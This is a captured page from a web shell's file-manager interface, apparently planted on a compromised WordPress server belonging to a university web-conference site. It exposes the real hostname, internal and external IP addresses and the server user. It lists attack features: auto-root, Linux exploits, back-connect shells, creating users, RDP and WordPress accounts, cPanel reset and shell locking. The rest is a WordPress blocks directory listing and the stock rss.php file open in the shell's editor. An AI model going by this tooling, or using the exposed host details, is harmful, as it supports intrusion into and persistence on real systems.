Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.190.176.94
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
home /
appadmin /
icecd2025 /
wp-includes /
blocks /
[ HOME SHELL ]
Name
Size
Permission
Action
archives
[ DIR ]
drwxrwxr-x
audio
[ DIR ]
drwxrwxr-x
avatar
[ DIR ]
drwxrwxr-x
block
[ DIR ]
drwxrwxr-x
button
[ DIR ]
drwxrwxr-x
buttons
[ DIR ]
drwxrwxr-x
calendar
[ DIR ]
drwxrwxr-x
categories
[ DIR ]
drwxrwxr-x
code
[ DIR ]
drwxrwxr-x
column
[ DIR ]
drwxrwxr-x
columns
[ DIR ]
drwxrwxr-x
comment-author-name
[ DIR ]
drwxrwxr-x
comment-content
[ DIR ]
drwxrwxr-x
comment-date
[ DIR ]
drwxrwxr-x
comment-edit-link
[ DIR ]
drwxrwxr-x
comment-reply-link
[ DIR ]
drwxrwxr-x
comment-template
[ DIR ]
drwxrwxr-x
comments
[ DIR ]
drwxrwxr-x
comments-pagination
[ DIR ]
drwxrwxr-x
comments-pagination-next
[ DIR ]
drwxrwxr-x
comments-pagination-numbers
[ DIR ]
drwxrwxr-x
comments-pagination-previous
[ DIR ]
drwxrwxr-x
comments-title
[ DIR ]
drwxrwxr-x
cover
[ DIR ]
drwxrwxr-x
details
[ DIR ]
drwxrwxr-x
embed
[ DIR ]
drwxrwxr-x
file
[ DIR ]
drwxrwxr-x
footnotes
[ DIR ]
drwxrwxr-x
freeform
[ DIR ]
drwxrwxr-x
gallery
[ DIR ]
drwxrwxr-x
group
[ DIR ]
drwxrwxr-x
heading
[ DIR ]
drwxrwxr-x
home-link
[ DIR ]
drwxrwxr-x
html
[ DIR ]
drwxrwxr-x
image
[ DIR ]
drwxrwxr-x
latest-comments
[ DIR ]
drwxrwxr-x
latest-posts
[ DIR ]
drwxrwxr-x
legacy-widget
[ DIR ]
drwxrwxr-x
list
[ DIR ]
drwxrwxr-x
list-item
[ DIR ]
drwxrwxr-x
loginout
[ DIR ]
drwxrwxr-x
media-text
[ DIR ]
drwxrwxr-x
missing
[ DIR ]
drwxrwxr-x
more
[ DIR ]
drwxrwxr-x
navigation
[ DIR ]
drwxrwxr-x
navigation-link
[ DIR ]
drwxrwxr-x
navigation-submenu
[ DIR ]
drwxrwxr-x
nextpage
[ DIR ]
drwxrwxr-x
page-list
[ DIR ]
drwxrwxr-x
page-list-item
[ DIR ]
drwxrwxr-x
paragraph
[ DIR ]
drwxrwxr-x
pattern
[ DIR ]
drwxrwxr-x
post-author
[ DIR ]
drwxrwxr-x
post-author-biography
[ DIR ]
drwxrwxr-x
post-author-name
[ DIR ]
drwxrwxr-x
post-comments-form
[ DIR ]
drwxrwxr-x
post-content
[ DIR ]
drwxrwxr-x
post-date
[ DIR ]
drwxrwxr-x
post-excerpt
[ DIR ]
drwxrwxr-x
post-featured-image
[ DIR ]
drwxrwxr-x
post-navigation-link
[ DIR ]
drwxrwxr-x
post-template
[ DIR ]
drwxrwxr-x
post-terms
[ DIR ]
drwxrwxr-x
post-title
[ DIR ]
drwxrwxr-x
preformatted
[ DIR ]
drwxrwxr-x
pullquote
[ DIR ]
drwxrwxr-x
query
[ DIR ]
drwxrwxr-x
query-no-results
[ DIR ]
drwxrwxr-x
query-pagination
[ DIR ]
drwxrwxr-x
query-pagination-next
[ DIR ]
drwxrwxr-x
query-pagination-numbers
[ DIR ]
drwxrwxr-x
query-pagination-previous
[ DIR ]
drwxrwxr-x
query-title
[ DIR ]
drwxrwxr-x
quote
[ DIR ]
drwxrwxr-x
read-more
[ DIR ]
drwxrwxr-x
rss
[ DIR ]
drwxrwxr-x
search
[ DIR ]
drwxrwxr-x
separator
[ DIR ]
drwxrwxr-x
shortcode
[ DIR ]
drwxrwxr-x
site-logo
[ DIR ]
drwxrwxr-x
site-tagline
[ DIR ]
drwxrwxr-x
site-title
[ DIR ]
drwxrwxr-x
social-link
[ DIR ]
drwxrwxr-x
social-links
[ DIR ]
drwxrwxr-x
spacer
[ DIR ]
drwxrwxr-x
table
[ DIR ]
drwxrwxr-x
tag-cloud
[ DIR ]
drwxrwxr-x
template-part
[ DIR ]
drwxrwxr-x
term-description
[ DIR ]
drwxrwxr-x
text-columns
[ DIR ]
drwxrwxr-x
verse
[ DIR ]
drwxrwxr-x
video
[ DIR ]
drwxrwxr-x
widget-group
[ DIR ]
drwxrwxr-x
archives.php
2.92
KB
-rw-rw-r--
avatar.php
5.61
KB
-rw-rw-r--
block.php
3.13
KB
-rw-rw-r--
blocks-json.php
182.84
KB
-rw-rw-r--
button.php
1.76
KB
-rw-rw-r--
calendar.php
5.93
KB
-rw-rw-r--
categories.php
3.92
KB
-rw-rw-r--
comment-author-name.php
2.08
KB
-rw-rw-r--
comment-content.php
2.4
KB
-rw-rw-r--
comment-date.php
1.82
KB
-rw-rw-r--
comment-edit-link.php
1.67
KB
-rw-rw-r--
comment-reply-link.php
2.03
KB
-rw-rw-r--
comment-template.php
4.39
KB
-rw-rw-r--
comments-pagination-next.php
1.88
KB
-rw-rw-r--
comments-pagination-numbers.ph...
1.59
KB
-rw-rw-r--
comments-pagination-previous.p...
1.75
KB
-rw-rw-r--
comments-pagination.php
1.17
KB
-rw-rw-r--
comments-title.php
2.71
KB
-rw-rw-r--
comments.php
6.61
KB
-rw-rw-r--
cover.php
3.04
KB
-rw-rw-r--
file.php
1.75
KB
-rw-rw-r--
footnotes.php
3.68
KB
-rw-rw-r--
gallery.php
6.29
KB
-rw-rw-r--
heading.php
1.27
KB
-rw-rw-r--
home-link.php
5.6
KB
-rw-rw-r--
image.php
11.82
KB
-rw-rw-r--
index.php
4.99
KB
-rw-rw-r--
latest-comments.php
4.92
KB
-rw-rw-r--
latest-posts.php
8.34
KB
-rw-rw-r--
legacy-widget.php
3.9
KB
-rw-rw-r--
list.php
1.24
KB
-rw-rw-r--
loginout.php
1.38
KB
-rw-rw-r--
media-text.php
4.28
KB
-rw-rw-r--
navigation-link.php
13.21
KB
-rw-rw-r--
navigation-submenu.php
9.09
KB
-rw-rw-r--
navigation.php
57.9
KB
-rw-rw-r--
page-list-item.php
361
B
-rw-rw-r--
page-list.php
13.29
KB
-rw-rw-r--
pattern.php
2.14
KB
-rw-rw-r--
post-author-biography.php
1.49
KB
-rw-rw-r--
post-author-name.php
1.78
KB
-rw-rw-r--
post-author.php
2.54
KB
-rw-rw-r--
post-comments-form.php
2.74
KB
-rw-rw-r--
post-content.php
2.11
KB
-rw-rw-r--
post-date.php
3.05
KB
-rw-rw-r--
post-excerpt.php
3.37
KB
-rw-rw-r--
post-featured-image.php
9.14
KB
-rw-rw-r--
post-navigation-link.php
4.72
KB
-rw-rw-r--
post-template.php
5.61
KB
-rw-rw-r--
post-terms.php
3.6
KB
-rw-rw-r--
post-title.php
2.09
KB
-rw-rw-r--
query-no-results.php
1.8
KB
-rw-rw-r--
query-pagination-next.php
3.7
KB
-rw-rw-r--
query-pagination-numbers.php
4.66
KB
-rw-rw-r--
query-pagination-previous.php
3.1
KB
-rw-rw-r--
query-pagination.php
1.15
KB
-rw-rw-r--
query-title.php
2.05
KB
-rw-rw-r--
query.php
5.56
KB
-rw-rw-r--
read-more.php
1.79
KB
-rw-rw-r--
require-dynamic-blocks.php
4.01
KB
-rw-rw-r--
require-static-blocks.php
501
B
-rw-rw-r--
rss.php
3.88
KB
-rw-rw-r--
search.php
22.51
KB
-rw-rw-r--
shortcode.php
735
B
-rw-rw-r--
site-logo.php
6.19
KB
-rw-rw-r--
site-tagline.php
1.17
KB
-rw-rw-r--
site-title.php
1.77
KB
-rw-rw-r--
social-link.php
62.67
KB
-rw-rw-r--
tag-cloud.php
1.55
KB
-rw-rw-r--
template-part.php
9.86
KB
-rw-rw-r--
term-description.php
1.3
KB
-rw-rw-r--
widget-group.php
2.38
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rss.php
<?php /** * Server-side rendering of the `core/rss` block. * * @package WordPress */ /** * Renders the `core/rss` block on server. * * @since 5.2.0 * * @param array $attributes The block attributes. * * @return string Returns the block content with received rss items. */ function render_block_core_rss( $attributes ) { if ( in_array( untrailingslashit( $attributes['feedURL'] ), array( site_url(), home_url() ), true ) ) { return '<div class="components-placeholder"><div class="notice notice-error">' . __( 'Adding an RSS feed to this site’s homepage is not supported, as it could lead to a loop that slows down your site. Try using another block, like the <strong>Latest Posts</strong> block, to list posts from the site.' ) . '</div></div>'; } $rss = fetch_feed( $attributes['feedURL'] ); if ( is_wp_error( $rss ) ) { return '<div class="components-placeholder"><div class="notice notice-error"><strong>' . __( 'RSS Error:' ) . '</strong> ' . esc_html( $rss->get_error_message() ) . '</div></div>'; } if ( ! $rss->get_item_quantity() ) { return '<div class="components-placeholder"><div class="notice notice-error">' . __( 'An error has occurred, which probably means the feed is down. Try again later.' ) . '</div></div>'; } $rss_items = $rss->get_items( 0, $attributes['itemsToShow'] ); $list_items = ''; foreach ( $rss_items as $item ) { $title = esc_html( trim( strip_tags( $item->get_title() ) ) ); if ( empty( $title ) ) { $title = __( '(no title)' ); } $link = $item->get_link(); $link = esc_url( $link ); if ( $link ) { $title = "<a href='{$link}'>{$title}</a>"; } $title = "<div class='wp-block-rss__item-title'>{$title}</div>"; $date = ''; if ( $attributes['displayDate'] ) { $date = $item->get_date( 'U' ); if ( $date ) { $date = sprintf( '<time datetime="%1$s" class="wp-block-rss__item-publish-date">%2$s</time> ', esc_attr( date_i18n( 'c', $date ) ), esc_attr( date_i18n( get_option( 'date_format' ), $date ) ) ); } } $author = ''; if ( $attributes['displayAuthor'] ) { $author = $item->get_author(); if ( is_object( $author ) ) { $author = $author->get_name(); $author = '<span class="wp-block-rss__item-author">' . sprintf( /* translators: byline. %s: author. */ __( 'by %s' ), esc_html( strip_tags( $author ) ) ) . '</span>'; } } $excerpt = ''; if ( $attributes['displayExcerpt'] ) { $excerpt = html_entity_decode( $item->get_description(), ENT_QUOTES, get_option( 'blog_charset' ) ); $excerpt = esc_attr( wp_trim_words( $excerpt, $attributes['excerptLength'], ' […]' ) ); // Change existing [...] to […]. if ( '[...]' === substr( $excerpt, -5 ) ) { $excerpt = substr( $excerpt, 0, -5 ) . '[…]'; } $excerpt = '<div class="wp-block-rss__item-excerpt">' . esc_html( $excerpt ) . '</div>'; } $list_items .= "<li class='wp-block-rss__item'>{$title}{$date}{$author}{$excerpt}</li>"; } $classnames = array(); if ( isset( $attributes['blockLayout'] ) && 'grid' === $attributes['blockLayout'] ) { $classnames[] = 'is-grid'; } if ( isset( $attributes['columns'] ) && 'grid' === $attributes['blockLayout'] ) { $classnames[] = 'columns-' . $attributes['columns']; } if ( $attributes['displayDate'] ) { $classnames[] = 'has-dates'; } if ( $attributes['displayAuthor'] ) { $classnames[] = 'has-authors'; } if ( $attributes['displayExcerpt'] ) { $classnames[] = 'has-excerpts'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classnames ) ) ); return sprintf( '<ul %s>%s</ul>', $wrapper_attributes, $list_items ); } /** * Registers the `core/rss` block on server. * * @since 5.2.0 */ function register_block_core_rss() { register_block_type_from_metadata( __DIR__ . '/rss', array( 'render_callback' => 'render_block_core_rss', ) ); } add_action( 'init', 'register_block_core_rss' );
Close